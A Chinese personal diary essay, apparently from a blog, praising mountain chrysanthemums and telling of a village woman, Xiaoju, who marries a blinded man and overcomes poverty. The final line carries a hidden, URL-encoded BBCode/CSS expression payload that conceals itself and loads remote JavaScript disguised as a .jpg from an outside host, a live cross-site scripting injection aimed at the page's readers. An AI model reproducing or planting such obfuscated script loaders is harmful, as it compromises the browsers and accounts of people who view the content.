寂静山谷

我心中的山菊花

个人日记

     月光浮动，菊影摇曳，空里流霜。冷冷的蕊，凉凉的露，幽幽的香，总在传递着一种情绪和意蕴。
     夜深人静的时刻，对皎皎孤月，面窗下寒菊，泡一杯菊花茶，翻几页闲书，听一听周杰伦的《菊花台》，自是别有一番滋味在心头。
     古之谓菊为雅士、隐者、君子、傲寒客，称其有五德：准天极也，后土色也，君子德也，象劲直也，神仙食也。人人爱菊菊不同，不同的人，不同的心境，对菊花的感受不同。陶渊明之于元稹，之于李白，之于杜甫，之于苏轼、周敦颐，以及大观园里的钗黛诸君，各各不一。他们无论对菊花的感受如何，意象如何，喜爱程度如何。但其所面对所咏叹的，多是那些花大型美、移居庭圃案头的观赏菊。对于终年生长在深山荒野里的山菊花，却染墨甚少。在我的认象中，毛泽东的“战地黄花分外香”、欧阳修的“霜林落后山净山，野菊开时酒正浓”直言的是山菊花，至于陶令的“采菊东篱下，悠然见南山”、“怀此贞秀姿，卓为霜下杰”，以及郑谷的“露湿秋香满池岸，由来不羡瓦松高”咏的是不是山菊花，我则未作考证。其实，在菊花的整个家族中，我最喜爱最崇敬的还是山菊花。深秋的山野，衰草凄凄，鸟虫遁迹，那曾经的智者，曾经的强者，曾经的千娇百媚，都已一一隐去，迎着寒霜傲然开放的却只有山菊花。山菊花耐寂寞、耐贫瘠、抗风雨、傲霜寒。她终年生长在少人问津的深山荒野中，寂寥笼罩着她，贫寒困扰着她，雨霜酷打着她，但她始终没有改变自己的初衷，消沉自己的意志，放逐自己的性情，而是用她生命的激情和执着，为萧杀的秋天增加着绚丽的底色。她不媚世不流俗，不邀赏不争宠，只为人间曾色彩添幽香，她才是真正的强者、智者和仁人。因此，对于山菊花，我总是怀有一种敬畏之情。每当见到她，我总像一位虔诚的朝圣者，向她顶礼膜拜：静静地俯下身子，用眼，用唇，用鼻，用耳，去感受她的真谛与意蕴，去聆听她的心声与絮语。而聪颖慧能的她，总在向我传递着一种情绪和意念。人与人的交流靠语言、靠肢体、靠眼神，而人与花的交流则要靠感应、靠灵魂。我与山菊花之交，算是心交与神交了。
     我对山菊花的这种情愫，不仅仅源于她所固有的品性与品格，更是源于一个人，一个女人，一个平凡而又超乎寻常的女人。她生在山中长在山中；她名中含菊，命运如菊，我们相识也缘于一个“菊”字，这或许就是一种天意。
     第一次遇见她，还是在我青少年时期的一个深秋时节。当时我带着妹妹缘溪而上，捕捞小鱼小虾。日偏西午，又饿又渴的我，捧一捧溪水正待送上嘴边。“俺家有菊花茶”，一句清纯悦耳的声音突然唱响在我的耳边。这时才发现，一位山菊花般的小姑娘，正微笑着绽放在我的面前。她手里挽着一只小竹篮，里面盛满蓓蕾初放的山菊花。不远处的山坡上，杂木翠竹掩映下的数间茅屋就是她的家。望着那几间茅屋和眼前的她，似乎有一股潜流在我的心底涌动和上升。后来我才知道，那是最原始的青春的悸动。自此，那句“俺家有菊花茶”的美妙声音，在多少年的时间里，一如一只远处的风铃，时常飘响在我的耳边。
     再次见到她，是她结婚的那一天，仍是一个菊花盛开的时节。当时，她的婚礼十分简单：一只红包袱，两个新伴娘，十几里山路的行走让她脸上直冒汗。尽管如此，但围观的人仍然挤满了一街两巷，有感叹、有赞叹、也有惋惜。一个半月前，就是在她和她的未婚夫刚刚开始筹划婚礼的时刻，突然祸从天降。整修“梯田”的一声“哑炮”，使她未婚夫的一双星星般的眼睛，霎时变成了两个黑窟窿。公公在悲痛中撒手人寰，婆婆在悲伤中卧床不起，枯干的泪眼视力下降到近乎零距离。当时，谁都不相信像她这样一位人见人爱、山菊花般的姑娘，还会走进这样一个残破的家！而眼前的这一幕，怎不令人赞叹和惊讶！婚礼上，她敬献给客人的，依然是菊花茶，从娘家带来的山菊花。幽幽的菊香，伴着山菊花般的笑容，在向人们传递着她笑对灾难、笑对困苦、笑对人生的坚强信念。
     后来，我再没有见到她，但我却时常地记起和问起她。知道她以后的生活十分拮据和艰难，严酷的现实曾一度将她逼向生存的边缘。她养过鸡，养过兔，养过羊，开过小卖部，可都一一失败，而不忍心继续拖累妻子的丈夫的几次自杀行为，更让她心力憔悴、不堪重负。但她从来都是不低头不弯腰不在人前掉眼泪，她始终坚信朝鲜影片《卖花姑娘》中的那句著名台词：只要心诚，石头也会开出花来。她明白，走进这个家庭既然不是上帝的安排，那么，迎接未来也要靠自己去奋战。
     转眼十几年过去了。前不久，怀着崇敬的心情，我又一次探访了她。而今，她早已是村里的妇女主任了，更让人欣慰的是她开发的山菊花系列产品，也已小有名气，不仅致富了家庭，而且带动了四邻八舍。丈夫的身心俱佳，婆婆的视力早已恢复了正常。用她的话说，这都是山菊花的功效。
     是山菊花的功效。她的名字叫小菊，她又何尝不是一株生长在贫瘠山坡上、傲霜而放的山菊花呢！这菊花的功效，自然也就是她的功效了。
     合上书本，关掉音乐，熄灭灯火，我眼前尽是漫山遍野的山菊花，一丛丛，一片片，灿若繁星……..
    山菊花，我心中的花，永远的花…….[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

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